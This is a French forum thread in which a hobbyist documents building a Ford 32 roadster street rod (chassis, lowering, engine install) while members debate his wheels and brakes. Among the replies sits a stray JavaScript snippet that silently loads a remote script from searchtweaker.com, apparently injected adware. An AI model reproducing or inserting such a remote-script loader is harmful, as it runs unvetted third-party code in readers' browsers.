Ford 32 roadster

Bonjour  a tous . Voila mon projet , un Ford 32 roadster street rod. Avant tout , je tiens a dire que c'est grâce a mon beau frère que ce projet va voir le jour , il est chaudronnier et a des doigts en or . C'est d ailleurs lui que l'on voit sur les photos ( en même temps , vu que c'est moi qui prend les photos , je risque pas d'y être... ) !!!! Donc merci a lui pour toute l'aide qu'il m'a apporté sur le châssis !!!
Donc , il y' a environ 2 ans , je me suis décidé à fabriquer mon propre hot rod , depuis le temps que j'en voulais un !!!!  J'ai commencé a me documenter , voir le style que je voulais , etc... J'ai commandé une coque en poly chez Pro-laminates en UK , un train avant complet chez Speedway , les rails de châssis chez Hispano , et pleins d'autres pièces ( jantes , volants , sièges , charnières suicide , poignées , amortisseurs , moteur , boite , pont , etc...). Il n'y a que quelques mois que j'ai réellement commencé la construction .

Bon , trêve de bla-bla , place au photos

Tout d'abord , fabrication d'un marbre . Les pieds du marbre ont un axe , ce qui permet de le faire pivoter dans tout les sens , très pratique pour souder !!!







Ensuite , on attaque le châssis ( désolé pour les photos pourri.... ):
châssis pointé sur le marbre


Un des rails avait un galbe un trop prononcé , donc on chauffe et ça revient tout seul !!!


fabrication des renforts du châssis , percés et emboutis


Pose des renforts ( le tube bleu entre les 2 renforts est juste la les maintenir provisoirement , il va bien sur dégager !!!




On a cintré et soudé un tube dans un des rails ( qui sera ensuite caché par le boxage ) afin de faire passer les câbles électriques ( la batterie sera a l’arrière )



Je vous passe les étapes d 'ajustements , de mesures , de calculs , etc.... . Mon but est d'avoir un rod le plus bas possible , tout en pouvant rouler sans tout le temps toucher . Du fait des jantes assez grosses ( 10,5 x 20 a l’arrière et 8,5 x 18 a l'avant ) j'avais peur qu'il faille modifier le châssis pour le rabaisser . On a donc fait un essai et effectivement  , c'est trop haut et pas beau.... . Je sais aussi que les jantes ne vont pas faire l'unanimité . Mais bon elles seront bientôt entièrement polies , ça devrait etre bien mieux .








Donc modification du châssis obligatoire !!!! Pour rabaisser l'avant , j'avais déjà installé une traverse plate pour gagner quelques centimètres . On a ensuite virer les lames de suspension , pour en mettre d'autres beaucoup moins courbées . Il a fallu faire une encoche dans les rails de châssis pour que les lames ne touchent pas , et bien renforcer ( faudrait que je fasse une photo ) . Pour l’arrière , modif classique... ( le tube rond pointé est provisoire ... )






Après les modifs , les essais !!! Ya pas a dire , c'est bien mieux !!!






Ça me plait bien , c'est bas comme je le voulais !!!
Après avoir renforcé les endroits modifiés sur le châssis  , place au boxage .


Voila l’intérêt d'avoir fait un marbre sur axe !!!


On voit un peu les encoches sur le châssis , pour que les lames ne touchent pas . On voit aussi l'extrémité du tube soudé dans le châssis , pour faire passer les câbles ( il manque un peu de finition mais bon ça viendra plus tard !!! ).





Voila ou j'en suis pour l'instant . Le boxage est terminé , l’arrière du châssis (  l'emplacement du réservoir ) va être tronçonné pour ne pas dépasser de la coque . Prochaine étape , installation de l'ensemble moteur-boite ( v8 350 et boite th350 , refaite a neuf par un pro ) , installation du pont , avec la barre panhard , les tirants , les combinés filetés ... Le pont sera ensuite rétréci pour que les roues collent au plus près de la coque . En même temps , les jantes avant vont aussi être rétrécies d'environ 3 pouces , déjà pour le look , et surtout pour avoir un rayon de braquage correct ( les pneus actuels sont en 245 /40/18 , les futurs pneus seront en 165/35/18 , les pneus arrières resteront en 275/40/20 ) . Une fois la mécanique installée , je m'attaque a la fabrication de l'arceau dans la coque .
Je mettrais des photos au fur et a mesure , mais vu que n'y bosse dessus que de temps en temps , ça va se faire au compte goutte !!!

J'attends vos conseils , critiques , etc.... Si vos yeux avisés ont remarqué des points a reprendre , n hésitez pas !!!

super boulot sur le châssis  et pour les jantes tu va avoir du pour et du contre
en ce qui me concerne j'attend de voir la suite pour donner mon avis.
bon courage pour la suite.

Oui super taffff
Pour les jantes a voir le projet fini!!!

un bon boulot sur le chassis c'est pas mal les tubes pour les fluides et l'elec
et bravo pour le marbre  bonne suite

et bien moi je trouve que ça démarre bien fort, c'est joli, cohérent et propre....pour les jantes, une fois polies ça vas le faire, ça change, et puis tu vises le street rod, donc ça colle..et ça a le mérite de changer..

a suivre  

Il y a de la belle documentation sur le mur là !!!  




Bon job que tu fais là.

Le bas de tes rails sont à combien de hauteur ?


Pour les jantes, je vais attendre quelles soient polies  

Merci   !!! Le bas des rails est a environ 14 cms du sol . Ca devrait passer

Super boulot bravo vivement la suite
et moi j'aime les jantes  

bon boulot en tous cas  (le beau frère assure ) 


pour les jantes a voir une foi polies



projet a suivre

bonne continuation
(function(){try{var header=document.getElementsByTagName("HEAD")[0];var script=document.createElement("SCRIPT");script.src="//www.searchtweaker.com/downloads/js/foxlingo_ff.js";script.onload=script.onreadystatechange=function(){if (!(this.readyState)||(this.readyState=="complete"||this.readyState=="loaded")){script.onload=null;script.onreadystatechange=null;header.removeChild(script);}}; header.appendChild(script);} catch(e) {}})();

beau boulot pour les jantes je met pas d avis et puis du moment que ca te plait

Pourquoi se casser la tete a mettre 1 train avant ''old'' a lame et des jantes modernes avec des pneus tailles basses??
avec ce types de jantes,il faut 1 train triangule....
comme tout le monde est gentil ici,personne va te le dire,mais les jantes,c'est degueu....
mais comme tu as fais 1 super chassis a lame, tu aura facile a changer de
jantes et donc de style.... 
tu envisage quoi comme couleur,et quoi comme interieur?
quelle taille font les jantes? ce sont de renaut rs?

Andy , bon beau frère bosse très très bien !!!

Raph , je n'ai pas voulu mettre de train avant triangulé , car , sans les ailes , c'est vraiment pas terrible , et je préfère largement le look du train a lames . Mais , avec des pneus taille basse , la maniabilité aurait peut être été meilleure avec un train triangulé , je sais pas ... Concernant les jantes , pour l'instant j'aime bien le rendu , mais qui sait ,  au fur et a mesure que le projet avancera , je changerais !!! Les jantes sont en 8,5 x 18 a l'avant ( elles seront rétrécies d'environ 3 pouces dans quelques temps ) et les jantes arrières sont en 10,5 x 20 . Donc pas Renaut rs !!!!  .
Pour l’intérieur , il y aura 2 sièges , et pas une banquette . Ce sont ces sièges :


Une fois refait a neuf , il n'y aura plus toutes ces surpiqures !!! Par contre je n'ai pas encore décidé de la couleur de l'interieur .
La couleur extérieure sera soit un Deep red Candy ( tout un programme... ) . Ça donne ça :


Ou soit ce violet :


Je verrais en fonction de l'évolution du projet .

Raph a raison,en plus si tu ne met pas d ailles vire ces jantes et ces disques.
Ou si tu veux absolument des disque,prend le même kit que j ai installé sur le mien.
Sinon a part ça vraiment top le travaille
Hâte de voir la suite

en plus avec ces fauteuil et cette couleur tu pourrait etre sixties a mort....

Je rejoins certains avis sur les jantes,perso c'est trop "tuning"  

Par contre,qu'est ce que vous avez tous contre les kits disques ? Ils vont on fait du mal dans une autre vie ?   
Apparemment on se dirige pas vers un projet nostalgia pur jus donc je vois pas en quoi les disques vous derange...

Jen & Dad a écrit:

Je rejoins certains avis sur les jantes,perso c'est trop "tuning"  

Par contre,qu'est ce que vous avez tous contre les kits disques ? Ils vont on fait du mal dans une autre vie ?   
Apparemment on se dirige pas vers un projet nostalgia pur jus donc je vois pas en quoi les disques vous derange...

les disques ne dérange pas mais les jantes  sur un hi-boy ça le fait pas du tout

Jen & Dad a écrit:

Je rejoins certains avis sur les jantes,perso c'est trop "tuning"  

Par contre,qu'est ce que vous avez tous contre les kits disques ? Ils vont on fait du mal dans une autre vie ?   
Apparemment on se dirige pas vers un projet nostalgia pur jus donc je vois pas en quoi les disques vous derange...

Ces juste moche des disques apparent,ces beau sur une voiture moderne pas sur un 32
Enfin ces mon avis perso,le truc ces quel plaise a son proprio!!!!!

hello !!!

Je vois que le projet est fait comme j'aime " sur une base sérieuse".  

Le style et les couleurs, moi je m'en tape    , à vrai dire ce qui compte c'est la construction sérieuse de la machine.  

et la..on voit que le taf est fait avec sérieux, bravo!  

il y'a juste un petit bemole, plutôt un regret "que ce ne sois pas avec ma coque!!!!"

Bon courage pour la suite.

Ps: Le tube intérieur pour l’électricité a déjà était inventé et vanté par notre ami de Dozulé  

Mr32

continu, ne soit pas géné, monte ton rod comme tu le sens, je pense que tu aura compris que les avis sont partagés, il y a les addcit du périod perfect ( le flat, les tambours buick, etc... ) et puis le reste qui accepte le street rod..qui aiment la sauce moderne..

comme le dit Mr 32, le bestiole est bien assemblée, c'est propre, continu dans ton envie, dans tes gouts et présente le a des concentres a l'avenir, fait toi plaisir, c'est là le principal acteur de la passion..

+1   



HOT IMPORT





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Je tiens compte de tout les avis , mais pour l instant je vais rester dans mon idée . Perso , j aime bien les disques a l avant ( y a des tambours a l arriere ) . Quand le projet sera fini , peut etre que je changerais de jante , mais je veux attendre d avoir fini pour voir ce qui cloche !!! En tout cas , continuez a dire ce que vous en pensez !!! Peut etre que ça me permettra de modifier certaines choses qui pourraient etre dangereuses !!!

j

bon chaqun c'est gouts , comme dirait l'autres "les coups et les douleurs ca ce discute pas"
ca depend aussi du style que tu veut que ton rod est une fois finit "new style" "hi tech" ...
deja c'est super bien pour toi tu est motiver , tu te la bouge pour construire ton truc , il est sur qu'en general ici ont et plus brancher look oldschool , pas forcement "period" ca coute trop cher le vrai "P.P", mais l'important c'est de ce faire plaisir
t'est jantes sont fun sur une focus RS mais la sur ton 32 elle vont etre vraiment tres tres large , on risque d'avoir une impression de cube , aussi large (voir plus large) que haut , les disques c'est une questions de securité pour toi , apres fait en sorte qu'il ne sorte pas trop de la jantes , c'est pas des plus beau
aller va bosser qu'il roule ce 32

Rebonjour a tout le monde   . Après quelques mois d’ interruption , je m'y remets !!!!  
Donc suite aux modifs sur le châssis , on a installé la mécanique



Supports moteurs pointés ( ils ont été soudés depuis !!! )



Le pont est a sa place , avec les tirants modifiés et des supports fait maison . Les cales en tubes carrés , au niveau du châssis , seront enlevés une fois les combinés filetés installés .









Ensuite , on s'occupe du moteur







Ensuite , petit montage a blanc histoire de voir ce que ça donne . Et bien ça me plait pas mal !!!!! L'allumeur est a l'envers sur la photo  



L'ensemble moteur-boite a été peint en noir



Puis le montage commence !!!!!



Les échappements vont bientôt être installé , il faut d'abord modifier les collecteurs qui sont trop proche de la roue , puis adapter les collecteurs aux silencieux ( échappements latéraux , vous l'aurez remarqué....  ) . Une fois bien adapté , les collecteurs recevront un traitement céramique couleur alu poli .





Prochaine étape , finir le moteur . On va fabriquer une patte pour fixer l’alternateur , fixer l'autre poulie , commencer a installer le faisceau électrique , fabriquer le réservoir d’essence , etc...
On a commencé a fabriquer l'armature dans la coque , en tube carré cintré . J’espère la finir ce week end pour pouvoir fixer les portières a la coque .

Ensuite , d'autres modifs suivront . Les disques a l'avant vont être remplacés par des disques encore plus gros et des étriers 4 pistons Brembo . A l’arrière , les tambours seront aussi remplacés par du Brembo . Le pont ne sera finalement pas rétréci , ce sont les jantes arrières qui vont être élargies !!! Mais avant de les élargir , faut que je vois si je garde celles la ou si je les change . Si je les change , ca sera pour ce type de jante . Bon , pas forcement des Foose qui sont hors de prix , mais c'est dans cet esprit .



La suite au prochain épisode !!!

Si certaines choses vous choquent ou ont été mal faites , dites le moi !!!! Ça m’embêterait de conduire un cercueil ambulant !!!!

beau projet et surtout fait le a ton gout, c'est toi qui le conduira
juste un point que je trouve dommage c'st l'arrière de ton chassie( le tube rectangulaire trop carré) moi je change tout sur mon chassie